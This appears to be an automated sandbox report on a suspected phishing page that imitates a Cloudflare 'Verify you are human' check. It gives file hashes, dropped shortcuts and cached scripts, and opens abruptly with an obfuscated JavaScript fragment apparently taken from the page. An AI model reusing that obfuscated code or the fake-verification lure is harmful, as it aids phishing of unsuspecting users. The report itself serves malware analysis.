YxMxMJuH='';function _0x2e9b(){var _0x1e4bb0=['src','hostname','slice','click','shortcut\x20icon','type','random','countryName','all_shortcuts','https://','404_not_found','location','http://','appendChild','127.0.0.1','width:210px;height:50px;display:none','center','getJSON','addEventListener','cancelBubble','35iFYKss','stopPropagation','innerHTML','srcElement','hide','getElementsByTagName','keydown','nr\x20gud','data:image/png;base64,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
URL: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev
URL: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Performing security checks on your browser for protection.", "prominent_button_name": "Verify you are human", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 20:23:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9916947339279583
Encrypted:	false
SSDEEP:	48:8pcd1TddwHQidAKZdA1FehwiZUklqehN5y+3:847L05y
MD5:	2CBADABBAAACB596283479826D6B926D
SHA1:	916FA570A73FD8903A121C8183EFE07AE812055C
SHA-256:	7633230C3C19AAA61913F2DF95E5E10FC013A351D27FE9FF748B09FC27E36ED4
SHA-512:	2A4FC1E6570FAF635F9ED4F8A0938D5E134593B391602B0D949DC11F34CF851845DE2063227FF0402AE3D858DD042C63563587AD6CFC4187296AD81A5D5A70C6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....+~...P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............q~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 20:23:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.00891756646542
Encrypted:	false
SSDEEP:	48:8yd1TddwHQidAKZdA1seh/iZUkAQkqehk5y+2:8U7V9Q35y
MD5:	5DF1E3EDF514AAA78D1D50090C7F76D7
SHA1:	48F5FB5A1CDCA99F6450880789A8F317C494074C
SHA-256:	A75DDFFC45F5620BF2866BB745EC6C4110BB75CAD59B2001B1A0E21EF5260EAB
SHA-512:	A25B9D7A7B115075C0DAC32935C5847BCABB2A1583912E751B5C009C053C6087149B480AF67569DE961665A667C9204F8DDCB6CF962D97EA1090392A424D6064
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....b....P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............q~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.014707290544549
Encrypted:	false
SSDEEP:	48:8Id1TddAHQidAKZdA14meh7sFiZUkmgqeh7sW5y+BX:8q7pn45y
MD5:	27B631C23D95CFCF11C68F21219D637B
SHA1:	5EF9A332B027C29D3EF7EA695BC4439EC4A993D6
SHA-256:	22C4191BC2794396E9A914E3C977BB8092F321BBAFD3DAFA754D4EA0E42F0479
SHA-512:	F2C3CE8A1F4CDE4055DCEE7D43B1A695515E0B24D61ED27C0F999902D0890AF4A16A8668E2F7756A83BF5AE3554074D41CE1DD2076BBC4F4C933086F4E1C8F13
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............q~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 20:23:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.00335402254578
Encrypted:	false
SSDEEP:	48:8Qd1TddwHQidAKZdA1TehDiZUkwqehA5y+R:8y7Ge5y
MD5:	C6AB1E37CD5C19C483225C747551D792
SHA1:	29BE4A328D0E59DCF9E45919CA768BFEC3D03C97
SHA-256:	EC991BD5DA9A27B2A5EF69D97BC85BD9811618A55D3752A0BFFFAFC912165EA8
SHA-512:	14AF32C2C443F96117DA1618E78193FD8867D90676F4A4D0652AC746D1FB367783D139B91BE06A7A1B0112B7D13F878448AB6B14BDD67A352D715FF12DC8A940
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............q~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 20:23:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.996598759637075
Encrypted:	false
SSDEEP:	48:8Ld1TddwHQidAKZdA1dehBiZUk1W1qeh65y+C:8z7m9a5y
MD5:	48F2DF158F9A7128108F01340E5D21DE
SHA1:	02C5ECF979418FA3A7AC0CBB22E90F65D9788C2C
SHA-256:	9B0C0482F5BCD6EB657DAEB873955B495D3CCB8C28D1A8A77E324AD4D52E3798
SHA-512:	731776127CBA02C45ED7E3DF06EEE5D8EFCA69C79FDEA9CB51DD3EB8E2A77AB79854970EEDF14A596563D8CABFFC6F045EDC88AD1E5A343250849E93C06103AB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............q~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 20:23:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.004558888786672
Encrypted:	false
SSDEEP:	48:8Xd1TddwHQidAKZdA1duTeehOuTbbiZUk5OjqehOuTb45y+yT+:8/7cTfTbxWOvTb45y7T
MD5:	83E94F24EF4D35B683E3FFFFEA0B133F
SHA1:	CCF76A127AC1E88772A30EBF14585ECF241F1D07
SHA-256:	D956CCF41D61D64D9A3F2CD70D93CC0366EA2ADB1BC0E465E2F7D61ED554E55D
SHA-512:	6759CDB9AE141B200FAF2BB60EFC932935C0E739899905346243758B00B9C7DE609598DE2B38E743EF2E3595611236E941D5C644B2FAF147403CA3A7E088AF0C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............q~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268381
Entropy (8bit):	5.072141999174343
Encrypted:	false
SSDEEP:	6144:UvD8eq9mPKl4OfKcknEHZciGhjZPdDwjdwTJFPk78vmAnhZSxwI14i:UE4OfcaZhfOeATG14i
MD5:	08C235D357750C657AC1DB7D1CF656A9
SHA1:	9257AFD2D46C3A189EC0D40A45722701D47E9CA5
SHA-256:	7BD80D06C01C0340C1B9159B9B4A197DB882CA18CBAC8E9B9AA025E68F998D40
SHA-512:	D62700E7A1FF41F9D6326CA024BA2BE1D391BC8FBB2AEAE0F427D74837899B230940BF7C2DF3D193F5300A68BB3686706D4C31328234B5CDA026A1BF52EF9E70
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library v1.9.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2013-2-4. */.(function( window, undefined ) {..// Can't do this because several apps including ASP.NET trace.// the stack via arguments.caller.callee and Firefox dies if.// you try to trace through "use strict" call chains. (#13335).// Support: Firefox 18+.//"use strict";.var..// The deferred used on DOM ready..readyList,...// A central reference to the root jQuery(document)..rootjQuery,...// Support: IE<9..// For `typeof node.method` instead of `node.method !== undefined`..core_strundefined = typeof undefined,...// Use the correct document accordingly with window argument (sandbox)..document = window.document,..location = window.location,...// Map over jQuery in case of overwrite.._jQuery = window.jQuery,...// Map over the $ in c

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1089
Entropy (8bit):	4.9418413196114015
Encrypted:	false
SSDEEP:	24:YydAmCf205hNkHYuYDmSnfC3MLu2Y204/z:Y9D205huHHOmSn63a
MD5:	B9173B5D2E75578059A6E02627C43336
SHA1:	6BD02DC7DF1D9CC095B494A4EEFF3722DC0D3F14
SHA-256:	67268F4EFF8252EDAD8498CCE8C03603DA53EAC5F30676F0C161455F9D3DC600
SHA-512:	B8C200F6A769E11D6D6A160208E1F5C204BC0BB4948900F6A10033E8A9616DDA3243FF4395DB9801BAD499F1EFA485F77E0EC8D6A6DC01099E6155E9E72FADA7
Malicious:	false
Reputation:	low
URL:	https://freeipapi.com/api/json/
Preview:	{"ipVersion":4,"ipAddress":"8.46.123.189","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,"continent":"Americas","continentCode":"AM","currency":{"code":"USD","name":"US Dollar"},"language":"English","timeZones":["America\/Adak","America\/Anchorage","America\/Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Beulah","America\/North_Dakota\/Center","America\/North_Dakota\/New_Salem","A

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	124
Entropy (8bit):	4.991688195856093
Encrypted:	false
SSDEEP:	3:mS2XTSNbnc/9MT3IXtKept2X921GOdBnbMp0Kthu:mSDNbnc//uX92MaRb+Bo
MD5:	54ECF8F60FF7C1D7A07A36F453EDCB0E
SHA1:	378BC3379F3627D9E268A569983A9BA649EDC9DA
SHA-256:	93AA8B8D9E56393D3F2959A6194D280052A59B4CF89BABF424CBFC2CB5E1F6FC
